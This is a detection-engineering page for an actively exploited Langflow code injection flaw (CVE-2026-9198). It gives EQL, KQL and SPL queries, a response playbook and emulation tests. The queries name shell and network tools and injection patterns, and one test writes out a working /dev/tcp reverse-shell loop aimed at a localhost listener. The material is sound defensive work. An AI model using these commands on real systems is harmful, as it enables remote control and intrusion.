Detect IBM Langflow Code Injection Exploitation (CVE-2026-9198) in Elastic Security
Detects exploitation attempts against IBM Langflow instances vulnerable to CVE-2026-9198, a code injection vulnerability (CWE-94) that allows unauthenticated or authenticated attackers to execute arbitrary code via crafted requests to Langflow's component/flow execution API. This vulnerability is listed in CISA KEV and is being actively exploited in the wild. Detection focuses on anomalous process execution spawned by the Langflow application, suspicious payloads to Langflow API endpoints, and post-exploitation indicators such as reverse shells, credential harvesting, or outbound C2 connections originating from Langflow hosts.
MITRE ATT&CK
- Tactic
- Initial Access Execution Persistence
Elastic Detection Query
sequence by host.name with maxspan=1m
[process where event.type == "start" and (process.parent.name : "python*" or process.parent.executable : "*langflow*" or process.parent.command_line : "*uvicorn*")]
[process where event.type == "start" and process.name : ("bash", "sh", "powershell.exe", "cmd.exe", "curl", "wget", "nc", "ncat") and process.command_line : ("*eval(*", "*exec(*", "*os.system*", "*subprocess*", "*base64 -d*", "*IEX*", "*0>&1*")]Sequence-based detection of a Langflow parent process spawning a suspicious shell or interpreter child process consistent with CVE-2026-9198 code injection.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate Langflow developers testing custom Python component code that shells out intentionally
- CI/CD pipelines invoking Langflow via automation scripts that use interpreters
- Administrative maintenance scripts that restart or manage the Langflow service using shell commands
Other platforms for CVE-2026-9198
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate Langflow Component Code Injection via Python eval
Expected signal: Process creation event showing python3 as parent spawning bash child process with command line containing 'echo LANGFLOW_ATOMIC_TEST_INJECTION'
- Test 2Simulate Reverse Shell Spawn from Langflow Process
Expected signal: Process and network events showing bash establishing an outbound TCP connection with redirected file descriptors (0>&1 pattern) in command line.
- Test 3Simulate PowerShell Encoded Command Execution via Langflow on Windows
Expected signal: Windows Security Event ID 4688 / Sysmon Event ID 1 showing powershell.exe launched with -EncodedCommand flag, ideally with a Langflow-related parent process (python.exe or uvicorn).
References (4)
- https://www.ibm.com/support/pages/node/7278927
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
- https://nvd.nist.gov/vuln/detail/CVE-2026-9198
Response Playbook
Triage
- Identify the affected Langflow instance version and expose surface (internet-facing vs internal) to confirm exposure to CVE-2026-9198.
- Review the flagged process tree to determine whether the child process (shell/interpreter) executed under the Langflow service account was attacker-initiated or a legitimate developer/automation action.
- Check Langflow application and web server access logs for anomalous requests to flow/component execution endpoints (e.g., /api/v1/run, /api/v1/build) around the time of the alert.
- Correlate outbound network connections from the Langflow host for signs of reverse shells, C2 beaconing, or data exfiltration.
Containment
- Isolate the affected Langflow host from the network while preserving process and memory state for forensic collection.
- Disable or restrict public/internet access to the Langflow web UI and API until the vendor patch or mitigation from IBM support is applied.
- Rotate any credentials, API keys, or secrets that were accessible to the Langflow service account or stored in connected flows.
Evidence Collection
- Collect full process execution history (with command lines and parent/child relationships) for the Langflow host covering the suspected exploitation window.
- Preserve Langflow application logs, web server access logs, and any flow/component definitions that may contain the injected payload.
- Capture network flow/PCAP data for the affected host to identify C2 infrastructure or lateral movement attempts.
Escalation Criteria
- !Escalate to incident response if evidence shows successful remote code execution with follow-on activity such as credential dumping, lateral movement, or persistence mechanisms.
- !Escalate if the Langflow instance is internet-facing and CISA KEV due date for BOD 26-04 remediation has passed without patching.
- !Escalate if exfiltration of sensitive data (API keys, model weights, customer data) processed by Langflow flows is suspected.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Langflow application logs showing flow/component execution requests with anomalous or obfuscated code payloads - >
Process creation events (Sysmon Event ID 1 / Linux auditd execve) showing shells or interpreters spawned by the Langflow parent process - >
Web server access logs (nginx/Apache/reverse proxy) recording POST requests to Langflow API endpoints with unusually large or encoded request bodies
Tuning Guidance
Baseline normal Langflow operational behavior in your environment, including expected child processes from legitimate custom components (which may intentionally invoke Python, bash, or external tools). Exclude known CI/CD automation accounts and approved developer workstations that interact with Langflow via legitimate APIs. Tune out benign package installation or environment setup commands executed during initial Langflow deployment or plugin installation. Prioritize alerts where Langflow is internet-facing, as internal-only deployments carry lower immediate risk but should still be monitored per BOD 26-04 guidance.
Hunting Queries
Hunts for Langflow hosts making an unusually high number of outbound connections to external IPs, which may indicate C2 beaconing following exploitation of CVE-2026-9198.
DeviceNetworkEvents
| where InitiatingProcessFolderPath has "langflow"
| where RemoteIPType == "Public"
| summarize ConnectionCount=count() by DeviceName, RemoteIP, RemotePort, InitiatingProcessFileName
| where ConnectionCount > 5
| order by ConnectionCount descindex=* sourcetype=sysmon OR sourcetype=netflow
| search process="*langflow*" OR parent_process="*langflow*"
| stats count by dest_ip, dest_port, src_host
| where count > 5
| sort -countAtomic Red Team Tests
Simulates an attacker submitting a malicious Python code snippet to a Langflow custom component field that gets evaluated server-side, spawning a child shell process.
Command
python3 -c "import subprocess; subprocess.Popen(['bash', '-c', 'echo LANGFLOW_ATOMIC_TEST_INJECTION > /tmp/langflow_test_marker.txt'])"Cleanup
rm -f /tmp/langflow_test_marker.txtExpected Telemetry
Process creation event showing python3 as parent spawning bash child process with command line containing 'echo LANGFLOW_ATOMIC_TEST_INJECTION'
Expected Detection
SPL and KQL rules should trigger on the python->bash parent/child relationship combined with shell command execution pattern.
Emulates post-exploitation behavior where a compromised Langflow process spawns a reverse shell connection to an attacker-controlled listener (lab environment only).
Command
bash -c 'exec 5<>/dev/tcp/127.0.0.1/4444; cat <&5 | while read line; do $line 2>&5 >&5; done' &Cleanup
pkill -f '/dev/tcp/127.0.0.1/4444'Expected Telemetry
Process and network events showing bash establishing an outbound TCP connection with redirected file descriptors (0>&1 pattern) in command line.
Expected Detection
Elastic EQL sequence rule and Chronicle YARA-L rule should flag the bash process with 0>&1-style command line pattern spawned near a Langflow-related parent.
Emulates a Windows-hosted Langflow instance being exploited to execute a base64-encoded PowerShell command, mimicking CVE-2026-9198 code injection payload delivery.
Command
powershell.exe -EncodedCommand VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAEwAQQBOAEcARgBMAE8AVwBfAEEAVABPAE0ASQBDACIACleanup
Remove-Item -Path "$env:TEMP\langflow_atomic_test.txt" -ErrorAction SilentlyContinueExpected Telemetry
Windows Security Event ID 4688 / Sysmon Event ID 1 showing powershell.exe launched with -EncodedCommand flag, ideally with a Langflow-related parent process (python.exe or uvicorn).
Expected Detection
QRadar AQL and CrowdStrike CQL rules should match on powershell.exe command line containing base64/IEX-style patterns spawned from a Python/Langflow parent process.